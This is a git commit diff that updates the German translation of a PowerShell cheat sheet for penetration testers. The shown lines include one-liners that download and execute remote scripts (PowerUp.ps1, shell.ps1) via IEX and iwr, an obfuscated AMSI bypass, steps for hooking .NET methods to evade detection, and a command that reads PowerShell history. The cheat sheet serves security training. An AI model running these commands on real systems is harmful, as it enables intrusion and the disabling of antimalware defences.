Translated ['src/windows-hardening/basic-powershell-for-pentesters/READM

This commit is contained in:
Translator 2025-01-22 16:14:00 +00:00
parent ee20e1e918
commit 633130fe29

View File

@ -18,7 +18,6 @@ Get-Command -Module <modulename>
```
## Herunterladen & Ausführen
```powershell
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3
@ -113,13 +112,13 @@ ValueType : REG_SZ
ValueLength : 4
ValueData : 0
```
### AMSI-Bypass
### AMSI Bypass
**`amsi.dll`** wird in Ihren Prozess **geladen** und hat die notwendigen **Exports**, um mit jeder Anwendung zu interagieren. Und da es in den Speicherbereich eines Prozesses **geladen** ist, den Sie **steuern**, können Sie sein Verhalten durch **Überschreiben von Anweisungen im Speicher** ändern. Dadurch wird nichts erkannt.
**`amsi.dll`** wird in Ihren Prozess **geladen** und hat die notwendigen **Exporte**, um mit jeder Anwendung zu interagieren. Und da es in den Speicherbereich eines Prozesses **geladen** ist, den Sie **steuern**, können Sie sein Verhalten durch **Überschreiben von Anweisungen im Speicher** ändern. Dadurch wird nichts erkannt.
Daher besteht das Ziel der AMSI-Bypässe darin, die **Anweisungen dieser DLL im Speicher zu überschreiben, um die Erkennung nutzlos zu machen**.
Daher ist das Ziel der AMSI-Bypässe, die Sie verwenden werden, **die Anweisungen dieser DLL im Speicher zu überschreiben, um die Erkennung nutzlos zu machen**.
**AMSI-Bypass-Generator** Webseite: [**https://amsi.fail/**](https://amsi.fail/)
**AMSI Bypass Generator** Webseite: [**https://amsi.fail/**](https://amsi.fail/)
```powershell
# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)
@ -170,14 +169,14 @@ Check [**diesen Beitrag für detaillierte Informationen und den Code**](https://
Diese neue Technik basiert auf dem Hooking von API-Aufrufen von .NET-Methoden. Es stellt sich heraus, dass .NET-Methoden in native Maschinenanweisungen im Speicher kompiliert werden müssen, die sehr ähnlich wie native Methoden aussehen. Diese kompilierten Methoden können gehookt werden, um den Kontrollfluss eines Programms zu ändern.
Die Schritte zum Hooking von API-Aufrufen von .NET-Methoden sind:
Die Schritte zum Durchführen des API-Call-Hookings von .NET-Methoden sind:
1. Identifizieren Sie die Zielmethode, die gehookt werden soll
2. Definieren Sie eine Methode mit demselben Funktionsprototyp wie das Ziel
3. Verwenden Sie Reflection, um die Methoden zu finden
4. Stellen Sie sicher, dass jede Methode kompiliert wurde
5. Finden Sie den Speicherort jeder Methode im Speicher
6. Überschreiben Sie die Zielmethode mit Anweisungen, die auf unsere bösartige Methode zeigen
6. Überschreiben Sie die Zielmethode mit Anweisungen, die auf unsere bösartige Methode verweisen
### AMSI Bypass 3 - SeDebug Privilege
@ -192,7 +191,7 @@ Die Schritte zum Hooking von API-Aufrufen von .NET-Methoden sind:
```powershell
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
```
## Finde neuere Dateien
## Neuere Dateien finden
Optionen: `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUtc`, `LastWriteTime`, `LastWriteTimeUtc`
```powershell
@ -202,7 +201,7 @@ Optionen: `CreationTime`, `CreationTimeUtc`, `LastAccessTime`, `LastAccessTimeUt
# LastWriteTime:
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName
```
## Berechtigungen erhalten
## Berechtigungen abrufen
```powershell
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
```
@ -227,9 +226,7 @@ $shell = New-Object -com shell.application
$rb = $shell.Namespace(10)
$rb.Items()
```
[https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/](https://jdhitsolutions.com/blog/powershell/7024/managing-the-recycle-bin-with-powershell/)
## Domänen-Recon
## Domain Recon
{{#ref}}
powerview.md